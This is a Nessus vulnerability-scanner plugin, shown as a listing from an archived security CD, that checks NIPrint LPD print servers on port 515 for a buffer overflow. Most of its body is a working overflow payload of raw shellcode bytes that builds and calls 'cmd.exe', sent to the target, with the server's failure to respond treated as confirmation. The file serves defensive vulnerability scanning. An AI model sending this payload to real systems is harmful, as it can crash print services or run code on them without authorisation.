home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / niprint_dos.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  48 lines
  1. if(description) 
  2. { 
  3.     script_id(11926); 
  4.     script_bugtraq_id(8968);
  5.       script_version("$Revision: 1.6 $"); 
  6.         
  7.       name["english"] = "NIPrint LPD-LPR Print Server"; 
  8.       script_name(english:name["english"]); 
  9.  
  10.       desc["english"] = "A vulnerability in the NIPrint could allow an attacker to remotely 
  11. overflow an internal buffer which could allow code execution. 
  12.  
  13. Solution: None, Contact the vendor http://www.networkinstruments.com/products/niprint.html
  14. Risk factor : High"; 
  15.  
  16.     script_description(english:desc["english"]); 
  17.       summary["english"] = "Checks for vulnerable NIPrint";
  18.     script_summary(english:summary["english"]);
  19.     script_category(ACT_DENIAL);
  20.     script_copyright(english:"This script is Copyright (C) 2003 Matt North");
  21.     family["english"] = "Denial of Service";
  22.     script_family(english:family["english"]);
  23.  
  24.     exit(0);
  25. }
  26.  
  27. port = 515;
  28. if (! get_port_state(port)) exit(0);
  29.  
  30. r = raw_string( 0x90,0xCC,0x90,0x90,0x90,0x90,0x8B,0xEC,0x55,0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC,0x04,0xC6,0x45,0xF8,0x63
  31. ,0xC6, 0x45, 0xF9, 0x6D,0xC6,0x45,0xFA,0x64,0xC6,0x45,0xFB,0x2E,0xC6,0x45,0xFC,0x65,0xC6,0x45,0xFD,0x78,
  32. 0xC6,0x45,0xFE,0x65,0xB8,0xC3,0xAF,0x01,0x78,0x50,0x8D,0x45,0xF8,0x50,0xFF,0x55,0xF4,0x5F);
  33.  
  34. r1 = raw_string( 0xCC, 0x83,0xC4,0x04, 0xFF,0xE4);
  35. r2 = string(crap(43));
  36. r3 = raw_string( 0xcb, 0x50, 0xf9, 0x77);
  37. bo = r + r1 + r2 + r3;
  38.  
  39. soc = open_priv_sock_tcp(dport: port);
  40. if(!soc) exit(0);
  41.  
  42. send(socket:soc,data:bo);
  43.  
  44. close(soc);
  45. alive = open_priv_sock_tcp(dport: port);
  46. if (!alive) security_hole(port);
  47.  
  48.